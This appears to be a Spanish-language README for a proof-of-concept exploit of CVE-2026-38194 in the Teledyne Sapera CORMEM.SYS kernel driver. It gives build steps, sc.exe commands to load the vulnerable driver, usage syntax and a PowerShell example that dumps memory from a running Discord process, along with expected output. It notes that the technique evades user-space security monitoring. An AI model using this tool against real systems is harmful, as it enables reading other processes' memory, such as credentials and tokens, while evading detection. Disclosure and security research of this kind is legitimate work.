
Esta herramienta demuestra CVE-2026-38194, una vulnerabilidad en Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 y anteriores). El controlador de kernel CORMEM.SYS expone IOCTLs sin ninguna comprobación de control de acceso, lo que permite a un usuario estándar no privilegiado leer y escribir memoria de proceso arbitraria directamente a través del kernel, evadiendo la monitorización de la API Win32.
DESCARGO DE RESPONSABILIDAD:
Este proyecto es solo para fines educativos y de investigación en seguridad. Úselo únicamente en sistemas que posea o para los que tenga permiso explícito para realizar pruebas. El uso no autorizado puede ser ilegal en su jurisdicción.
Esta herramienta demuestra la CVE-2026-38194, una vulnerabilidad en Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 y anteriores).
El controlador del kernel CORMEM.SYS expone IOCTLs sin ninguna comprobación de control de acceso,
permitiendo a un usuario estándar sin privilegios leer y escribir memoria de procesos arbitraria
directamente a través del kernel — evitando por completo la monitorización de la API Win32.

La memoria se accede mediante traducción de direcciones físicas (recorrido de tabla de páginas) en lugar de ReadProcessMemory,
lo que lo hace transparente para la mayoría del software de seguridad en espacio de usuario.
cmake -B build -A x64
cmake --build build --config Release
Si CORMEM.SYS no está cargado, cárguelo manualmente como administrador:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
Descargue cuando termine:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <address> [size]
pid Process ID (decimal)
address Virtual address to read (hex)
size Bytes to dump, default 256, max 1048576
# Get the main Discord process
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
Salida esperada:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
El 4D 5A en el desplazamiento 0 confirma que el encabezado MZ se leyó correctamente desde la RAM física.